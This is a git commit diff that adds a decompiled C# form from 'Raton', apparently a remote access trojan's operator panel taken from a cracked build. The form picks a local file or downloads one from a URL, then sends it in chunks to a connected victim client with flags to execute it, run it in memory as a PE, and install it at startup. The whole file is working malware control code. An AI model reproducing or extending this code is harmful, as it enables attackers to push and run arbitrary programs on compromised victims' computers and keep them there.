initial commit
This commit is contained in:
@@ -0,0 +1,304 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonUpload
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net.Http;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonUpload : Form
|
||||
{
|
||||
public bool inMemory;
|
||||
public bool isUpdate;
|
||||
public bool isStartup;
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
private PictureBox pictureBox1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Label label3;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
|
||||
public string link { get; set; }
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonUpload()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonUpload_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
if (this.link == null)
|
||||
return;
|
||||
this.button1.Enabled = false;
|
||||
this.button1.Text = "Link choosen";
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "All files (*.*)|*.*";
|
||||
openFileDialog.Title = "Select a file";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.SetFile(openFileDialog.FileName);
|
||||
}
|
||||
}
|
||||
|
||||
private void SetFile(string path)
|
||||
{
|
||||
if (!File.Exists(path))
|
||||
return;
|
||||
FileInfo fileInfo = new FileInfo(path);
|
||||
long length = fileInfo.Length;
|
||||
string str = length >= 1048576L /*0x100000*/ ? $"{(ValueType) (float) ((double) length / 1024.0 / 1024.0):F2}MB" : (length >= 1024L /*0x0400*/ ? $"{(ValueType) (float) ((double) length / 1024.0):F2}KB" : $"{length}B");
|
||||
this.label3.Text = path;
|
||||
this.label1.Text = fileInfo.Name;
|
||||
this.label2.Text = "Size: " + str;
|
||||
try
|
||||
{
|
||||
using (Icon associatedIcon = Icon.ExtractAssociatedIcon(path))
|
||||
this.pictureBox1.BackgroundImage = (Image) associatedIcon.ToBitmap();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private async void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
string path = this.label3.Text;
|
||||
Uri result;
|
||||
if (!string.IsNullOrWhiteSpace(this.link) && Uri.TryCreate(this.link, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] byteArrayAsync = await new HttpClient().GetByteArrayAsync(this.link);
|
||||
string path1 = Path.Combine(Path.GetTempPath(), Path.GetFileName(this.link));
|
||||
File.WriteAllBytes(path1, byteArrayAsync);
|
||||
path = path1;
|
||||
this.SetFile(path1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Can't download from that link", "Error", icon: MessageBoxIcon.Hand);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("File not found", "404", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
string fileName = Path.GetFileName(path);
|
||||
if (this.inMemory && !string.Equals(Path.GetExtension(fileName), ".exe", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("The file isn't a .exe", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
string Duid = "RatonFile_" + Helpers.Random(7);
|
||||
long fileSize = new FileInfo(path).Length;
|
||||
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
|
||||
if (fileForm == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = "File ID: " + Duid;
|
||||
ratonFile.Text = "File ID: " + Duid;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.UID = this.SillyClient.uid;
|
||||
ratonFile.FileName = fileName;
|
||||
ratonFile.FileSize = fileSize;
|
||||
fileForm = ratonFile;
|
||||
fileForm.Show();
|
||||
}
|
||||
await Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
int num3 = 1;
|
||||
if (fileSize < 1048576L /*0x100000*/)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetBool("isUpdate", this.isUpdate);
|
||||
pack.SetBool("isStartup", this.isStartup);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3.ToString())));
|
||||
pack.Set("FileBytes", File.ReadAllBytes(path));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += fileSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
Stream stream = (Stream) File.OpenRead(path);
|
||||
byte[] buffer = new byte[1048576 /*0x100000*/];
|
||||
long length = fileSize;
|
||||
int num4;
|
||||
while ((num4 = stream.Read(buffer, 0, buffer.Length)) > 0 && this.SillyClient.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetBool("isUpdate", this.isUpdate);
|
||||
pack.SetBool("isStartup", this.isStartup);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num3++.ToString())));
|
||||
pack.Set("FileBytes", buffer);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += (long) buffer.Length;
|
||||
length -= (long) num4;
|
||||
if (length < 1048576L /*0x100000*/)
|
||||
buffer = new byte[length];
|
||||
}
|
||||
}
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", this.inMemory ? "UploadPE" : "Upload");
|
||||
pack1.SetString("DUID", Duid);
|
||||
pack1.SetBool("isCompleted", true);
|
||||
pack1.SetString("FileName", fileName);
|
||||
pack1.SetLong("FileSize", fileSize);
|
||||
pack1.SetString("FilePath", "TempClient");
|
||||
pack1.SetBool("Execute", true);
|
||||
pack1.SetBool("isUpdate", this.isUpdate);
|
||||
pack1.SetBool("isStartup", this.isStartup);
|
||||
pack1.SetInt("TempCount", num3);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
await Task.Delay(2000);
|
||||
if (this.IsDisposed || !this.IsHandleCreated)
|
||||
return;
|
||||
this.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
if (fileForm == null || fileForm.IsDisposed || !fileForm.IsHandleCreated)
|
||||
return;
|
||||
fileForm.flatProgressBar1.Value = 100;
|
||||
fileForm.timer2.Stop();
|
||||
fileForm.Status("File uploaded successfully");
|
||||
}));
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonUpload));
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.label3 = new Label();
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources.RATA;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.pictureBox1.Location = new Point(13, 13);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(53, 53);
|
||||
this.pictureBox1.TabIndex = 0;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 11.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(71, 13);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(78, 19);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "File name";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(72, 32 /*0x20*/);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(51, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Size: 0B";
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(72, 52);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(26, 14);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "path";
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_add_circle_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(13, 73);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(414, 36);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Select your file";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_vehicle_truck_profile_24_filled;
|
||||
this.button2.IconSize = 25;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(13, 115);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(414, 37);
|
||||
this.button2.TabIndex = 5;
|
||||
this.button2.Text = "Execute";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(439, 172);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonUpload);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonUpload);
|
||||
this.Load += new EventHandler(this.ratonUpload_Load);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user